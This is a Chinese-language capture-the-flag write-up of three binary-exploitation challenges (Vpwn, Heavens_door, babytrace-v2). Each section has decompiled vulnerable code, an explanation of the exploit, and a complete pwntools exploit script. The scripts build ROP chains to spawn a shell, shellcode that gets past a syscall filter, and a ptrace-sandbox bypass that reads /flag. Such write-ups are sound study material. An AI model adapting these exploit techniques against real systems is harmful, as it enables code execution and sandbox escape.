2025 西湖论剑
Vpwn
1
2
3
4
5
6
7
[*] '/mnt/hgfs/ctf/2025xhlj/V_PWN/Vpwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/ef4tless/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/'
漏洞分析
C++的菜单题,逻辑比较清晰 开始在栈上设置了一个计数器,初始值为0,后续的菜单功能都是基于此展开,但是缺乏边界保护
1
2
3
4
5
6
7
8
__int64 __fastcall sub_1840(__int64 a1)
{
__int64 result; // rax
result = a1;
*(a1 + 24) = 0LL;
return result;
}
功能1edit,只要输入的idx小于base+0x18位置计数器的数字就能进行赋值(这里的value是int)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
case 1:
std::operator<<<std::char_traits<char>>(&std::cout, "Enter the index to edit (0-based): ");
std::istream::operator>>(&std::cin, &idx);
std::operator<<<std::char_traits<char>>(&std::cout, "Enter the new value: ");
std::istream::operator>>(&std::cin, &value);
v3 = value;
*sub_185C(base, idx) = v3;
std::operator<<<std::char_traits<char>>(&std::cout, "Element updated successfully.\n");
break;
__int64 __fastcall sub_185C(__int64 a1, unsigned __int64 a2)
{
std::out_of_range *exception; // rbx
if ( a2 >= *(a1 + 0x18) )
{
exception = __cxa_allocate_exception(0x10uLL);
std::out_of_range::out_of_range(exception, "Index out of range");
__cxa_throw(exception, &`typeinfo for'std::out_of_range, &std::out_of_range::~out_of_range);
}
return 4 * a2 + a1;
}
功能2 push操作没有边界检测就进行赋值,存在越界
1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall sub_18F4(__int64 a1, int *idx)
{
int v2; // ecx
__int64 result; // rax
v2 = *idx;
result = *(a1 + 0x18);
*(a1 + 0x18) = result + 1;
*(a1 + 4 * result) = v2;
return result;
}
功能4show也没有边界校验,直接输出序号小于idx的所有value
1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall sub_19BC(__int64 a1)
{
__int64 v1; // rax
unsigned __int64 i; // [rsp+18h] [rbp-8h]
std::operator<<<std::char_traits<char>>(&std::cout, "StackVector contents: ");
for ( i = 0LL; i < *(a1 + 24); ++i )
{
v1 = std::ostream::operator<<(&std::cout, *(a1 + 4 * i));
std::operator<<<std::char_traits<char>>(v1, " ");
}
return std::ostream::operator<<(&std::cout, &std::endl<char,std::char_traits<char>>);
}
利用思路
利用push功能对栈上的base+0x18这个计数器进行覆盖,就能实现base地址向下任意地址写,进而控制返回地址
而show功能能够输出序号小于idx的所有value,当idx被修改后就能泄露libc地址,这里的输出是10进制且一个数据只占4字节,要进一步处理
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256
# p = remote("","") #typ="udp"
p = process("./Vpwn")
elf = ELF("./Vpwn")
libc = elf.libc
context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data).encode())
sa = lambda text,data :p.sendafter(text, str(data).encode())
sl = lambda data :p.sendline(str(data).encode())
sla = lambda text,data :p.sendlineafter(text, str(data).encode())
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()
def edit(idx,value):
sla(b"Enter your choice: ",1)
sla(b"Enter the index to edit (0-based): ",idx)
sla(b"Enter the new value: ",value)
def push(value):
sla(b"Enter your choice: ",2)
sla(b"Enter the value to push:",value)
def pop():
sla(b"Enter your choice: ",3)
def show():
sla(b"Enter your choice: ",4)
push(0x14)
push(0x14)
push(0x14)
push(0x14)
push(0x14)
push(0x14)
push(0x14)
show()
ru(b"20 20 20 20 20 20 20 0 ")
low = int(p.recvuntil(b" "))
high = int(p.recvuntil(b" "))
libc_addr = (high << 32) | (low & 0xFFFFFFFF)
libc_base = libc_addr-0x424f74
lg("libc_base")
system_addr = libc_base + libc.sym["system"]
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))
lg("system_addr")
pop_rdi = libc_base + 0x000000000002a3e5
ret = libc_base + 0x0000000000029139
def calcaddr(addr):
high = (addr >> 32) & 0xffffffff
low = addr & 0xffffffff
if high < 0 :
addr += 0x100000000
high = addr & 0xffffffff
if low < 0 :
addr += 0x100000000
low = addr & 0xffffffff
return high,low
pop_rdi_high, pop_rdi_low = calcaddr(pop_rdi)
bin_sh_high, bin_sh_low = calcaddr(bin_sh)
system_addr_high, system_addr_low = calcaddr(system_addr)
ret_high,ret_low = calcaddr(ret)
# dbg("b system\nc\n")
edit(0x13,pop_rdi_high)
edit(0x12,pop_rdi_low)
push(0x14)
push(0x14)
push(0x14)
push(0x14)
push(0x14)
push(0x14)
edit(0x15,bin_sh_high)
edit(0x14,bin_sh_low)
edit(0x17,ret_high)
edit(0x16,ret_low)
edit(0x19,system_addr_high)
edit(0x18,system_addr_low)
sla(b"Enter your choice: ",5)
ia()
Heavens_door
1
2
3
4
5
6
7
[*] '/mnt/hgfs/ctf/2025xhlj/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'/home/ef4tless/glibc-all-in-one/libs/2.38-3ubuntu1_amd64/'
漏洞分析
子进程会随机的输出干扰数据 主进程开辟了一个rwx的空间在0x10000,可供我们输入shellcode后续执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __fastcall main(int argc, const char **argv, const char **envp)
{
__pid_t v4; // [rsp+0h] [rbp-10h]
init(argc, argv, envp);
v4 = fork();
if ( v4 )
{
printf("puchid: %d\n", v4);
mmap((void *)0x10000, 0x1000uLL, 7, 50, -1, 0LL);
read(0, (void *)0x10000, 0xC3uLL);
if ( (int)count_syscall_instructions(0x10000LL, 4096LL) > 2 )
exit(-1);
sandbox();
MEMORY[0x10000]();
return 0;
}
else
{
made_in_heaven();
puts("The time is Accelerating");
puts("MADE IN HEAVEN !!!!!!!!!!!!!!!!");
return 0;
}
}
void made_in_heaven()
{
unsigned int v0; // eax
int i; // [rsp+8h] [rbp-8h]
for ( i = 0; i <= 13; ++i )
{
v0 = time(0LL);
srand(v0);
rand();
puts((&sacredMysteries)[i % 14]);
sleep(1u);
}
}
但是会检测其中对应syscall的’\x0f\x05’的字节,最多出现2次
1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall count_syscall_instructions(__int64 a1, __int64 a2)
{
unsigned int v3; // [rsp+1Ch] [rbp-14h]
unsigned __int64 i; // [rsp+20h] [rbp-10h]
v3 = 0;
for ( i = 0LL; i < a2 - 1; ++i )
{
if ( *(_BYTE *)(a1 + i) == 15 && *(_BYTE *)(i + 1 + a1) == 5 )
++v3;
}
return v3;
}
在执行前会有沙箱
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
➜ 2025xhlj seccomp-tools dump ./pwn
puchid: 94556
Rasen Kaidan
dddd
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x35 0x0a 0x00 0x40000000 if (A >= 0x40000000) goto 0012
0002: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0013
0003: 0x15 0x09 0x00 0x00000001 if (A == write) goto 0013
0004: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0013
0005: 0x15 0x07 0x00 0x00000004 if (A == stat) goto 0013
0006: 0x15 0x06 0x00 0x00000005 if (A == fstat) goto 0013
0007: 0x15 0x05 0x00 0x00000006 if (A == lstat) goto 0013
0008: 0x15 0x04 0x00 0x00000007 if (A == poll) goto 0013
0009: 0x15 0x03 0x00 0x00000008 if (A == lseek) goto 0013
0010: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0013
0011: 0x15 0x01 0x00 0x0000000a if (A == mprotect) goto 0013
0012: 0x06 0x00 0x00 0x00000000 return KILL
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
利用思路
由于沙箱ban了read,不能再构建一次输入。给了open,mmap和write,可以去读flag。 一共会有三次syscall调用,可以改掉一个实现绕过判断,然后在输入进0x10000后再在执行时用shellcode去修改open对应syscall的字节,将其改回来
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256
# p = remote("","") #typ="udp"
p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data).encode())
sa = lambda text,data :p.sendafter(text, str(data).encode())
sl = lambda data :p.sendline(str(data).encode())
sla = lambda text,data :p.sendlineafter(text, str(data).encode())
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()
dbg("b *(0x400000+0x1622)\nc\nb *0x401709\nc\n")
orw = asm(shellcraft.amd64.linux.open("/flag"))
orw += asm(shellcraft.amd64.linux.mmap(0x20000, 0x20, 1, 2, 3, 0))
orw += asm(shellcraft.amd64.linux.write(1,0x20000,0x20))
# mmap(0x10000, 0x1000uLL, 7, 50, -1, 0LL);
orw_e = orw[:0x23]+b"\x05"+orw[0x24:]
shellcode = asm('''
mov eax, 0x1002C
mov byte ptr [eax], 0x0f
''')
shellcode += orw_e
# print("++++++++++++++++++++++++++++++++++")
# print(orw_e)
# print(orw)
p.send(shellcode)
ia()
babytrace-v2
1
2
3
4
5
6
7
[*] '/mnt/hgfs/ctf/2025xhlj/babytrace'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/ef4tless/glibc-all-in-one/libs/2.35-0ubuntu3.5_amd64/'
漏洞分析
先设置了子进程允许调试,然后在执行vuln前暂停 父进程在收到暂停了先设置了ptrace option,进入一个do-while循环 ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL);
类似于对子进程进行”插桩”并使子进程恢复继续运行。它会使得子进程在执行系统调用前后,会释放SIGTRAP信号。父进程收到SIGTRAP信号则会触发waitpid(pid, &stat_loc, 0x40000000)
,参数值 0x40000000 是 WSTOPPED 标志的一个位掩码。WSTOPPED 表示子进程由于接收到信号而被停止(例如收到 SIGTRAP 或 SIGSTOP 信号)
在第一次ptrace+waitpid后(即系统调用前),对stat_loc和系统调用号进行了检查 系统调用只能是SYS_read,SYS_write,SYS_exit_group,SYS_fstat ,SYS_exit,如果不是则设置系统调用号为-1 然后是第二次ptrace+waitpid(即系统调用后),只检查了stat_loc
这里就存在一个漏洞,如果在子进程伪造一个SIGTRAP信号,第一次waitpid,父进程就会被触发处理。由于触发原因不是系统调用,所以会卡在第二个waitpid中。此时如果子进程再执行系统调用,在系统调用前就会释放SIGTRAP信号,卡在第二个waitpid中的父进程就会被触发。由于第二次只检查了stat_loc,所以这里可以执行任意的系统调用,而系统调用后的SIGTRAP信号则被第二轮do-while循环处理,即便rax被设置为1也不影响部分系统调用的执行。即缺少对SIGTRAP信号类别的检查。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int stat_loc; // [rsp+4h] [rbp-ECh] BYREF
__pid_t pid; // [rsp+8h] [rbp-E8h]
__pid_t v6; // [rsp+Ch] [rbp-E4h]
_BYTE v7[120]; // [rsp+10h] [rbp-E0h] BYREF
__int64 syscall_id; // [rsp+88h] [rbp-68h]
unsigned __int64 v9; // [rsp+E8h] [rbp-8h]
v9 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
pid = fork();
if ( !pid ) // child
{
if ( prctl(1, 9LL) < 0 )
error("prctl error");
if ( ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL) )
error("hack !!!!");
v6 = getpid();
kill(v6, 19);
vuln();
}
if ( waitpid(pid, &stat_loc, 0) < 0 ) // father
error("waitpid error1");
alarm(0xFu);
ptrace(PTRACE_SETOPTIONS, pid, 0LL, 1LL);
do
{
ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL); // 执行
if ( waitpid(pid, &stat_loc, 0x40000000) < 0 )// 暂停
error("waitpid error2");
if ( (stat_loc & 127) == 0 || stat_loc == 127 && (stat_loc & 0xFF00) >> 8 == 11 )// 正常退出或停止
break;
if ( ptrace(PTRACE_GETREGS, pid, 0LL, v7) < 0 )//获取寄存器值
error("GETREGS error");
if ( syscall_id != 1 && syscall_id != 231 && syscall_id != 5 && syscall_id != 60 )
{
if ( syscall_id )
{
printf("bad syscall: %llu\n", syscall_id);
syscall_id = -1LL;
if ( ptrace(PTRACE_SETREGS, pid, 0LL, v7) < 0 )//设置寄存器值
error("SETREGS error");
}
}
ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL); // 执行
if ( waitpid(pid, &stat_loc, 0x40000000) < 0 )// 暂停
error("waitpid error3");
}
while ( (stat_loc & 0x7F) != 0 && (stat_loc != 127 || (stat_loc & 0xFF00) >> 8 != 11) );
return 0LL;
}
子进程执行的是一个菜单操作,其中edit和show功能idx都可以为负数,存在栈上的越界 1次任意写,2次任意读 其中edit还会在栈上写0x200的内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
void __noreturn vuln()
{
int v0; // eax
_QWORD v1[4]; // [rsp+10h] [rbp-20h] BYREF
v1[3] = __readfsqword(0x28u);
memset(v1, 0, 24);
while ( 1 )
{
while ( 1 )
{
menu();
v0 = read_con();
if ( v0 != 2 )
break;
show(v1);
}
if ( v0 == 3 )
exit(1);
if ( v0 == 1 )
edit(v1);
else
puts("invild.");
}
}
unsigned __int64 __fastcall edit(__int64 *a1)
{
__int64 idx; // [rsp+10h] [rbp-220h]
_BYTE buf[520]; // [rsp+20h] [rbp-210h] BYREF
unsigned __int64 v4; // [rsp+228h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( unk_202010 == 1 )
{
puts("recv:");
read(0, buf, 0x200uLL);
puts("which one?");
idx = read_con();
if ( idx > 2 )
exit(1);
puts("set value?");
a1[idx] = read_con();
puts("Set up for success!");
unk_202010 = 0;
}
else
{
puts("permission denied!");
}
return __readfsqword(0x28u) ^ v4;
}
int __fastcall show(__int64 *a1)
{
int *v1; // rax
__int64 idx; // [rsp+18h] [rbp-8h]
if ( dword_202018 > 1 )
{
LODWORD(v1) = puts("permission denied!");
}
else
{
puts("which one?");
idx = read_con();
if ( idx > 2 )
exit(1);
printf("num[%lld] = %lld\n", idx, a1[idx]);
v1 = &dword_202018;
++dword_202018;
}
return v1;
}
这一些相关的图例
利用思路
对于子进程的部分,利用2次读得到栈地址和libc地址,一次写可以劫持libc里的strlen_got(在后续执行puts时触发),进而跳转到栈上的rop链
ROP链需要用int x;ret触发一次SIGTRAP,然后orw
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256
# p = remote("","") #typ="udp"
p = process("./babytrace")
elf = ELF("./babytrace")
libc = elf.libc
context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data).encode())
sa = lambda text,data :p.sendafter(text, str(data).encode())
sl = lambda data :p.sendline(str(data).encode())
sla = lambda text,data :p.sendlineafter(text, str(data).encode())
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()
def show(idx):
sla(b'choose one >', 2)
sla(b'which one?', idx)
def edit(con, idx, value):
sla(b'choose one >', 1)
p.sendafter(b'recv:', con)
sla(b'which one?', idx)
sla(b'set value?', value)
# dbg("0xCFC")
show(-4)
ru(b" = ")
stack_addr = int(ru(b"\n"))-0x20 # a1
lg("stack_addr")
show(-2)
ru(b" = ")
libc_base = int(ru(b"\n"))-0x21a6a0
lg("libc_base")
strlen_got = libc_base + 0x219098
offset = (strlen_got - stack_addr) // 8
int1_ret = libc_base + 0x00000000000c6d6e
Open = libc_base + 0x1142f0
Read = libc_base + 0x1145e0
Write = libc_base + 0x114680
pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdx = libc_base + 0x00000000000796a2
add_rsp = libc_base + 0x0000000000114b5c # add rsp, 0x68; ret;
lg("add_rsp")
pay = p64(int1_ret)
pay += p64(pop_rdi)+p64(stack_addr-0x1a0)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(Open)
pay += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack_addr-0x1000)+p64(pop_rdx)+p64(0x30)+p64(Read)
pay += p64(pop_rdi)+p64(1)+p64(Write)
pay += b"/flag\x00"
edit(pay,offset,add_rsp)
ia()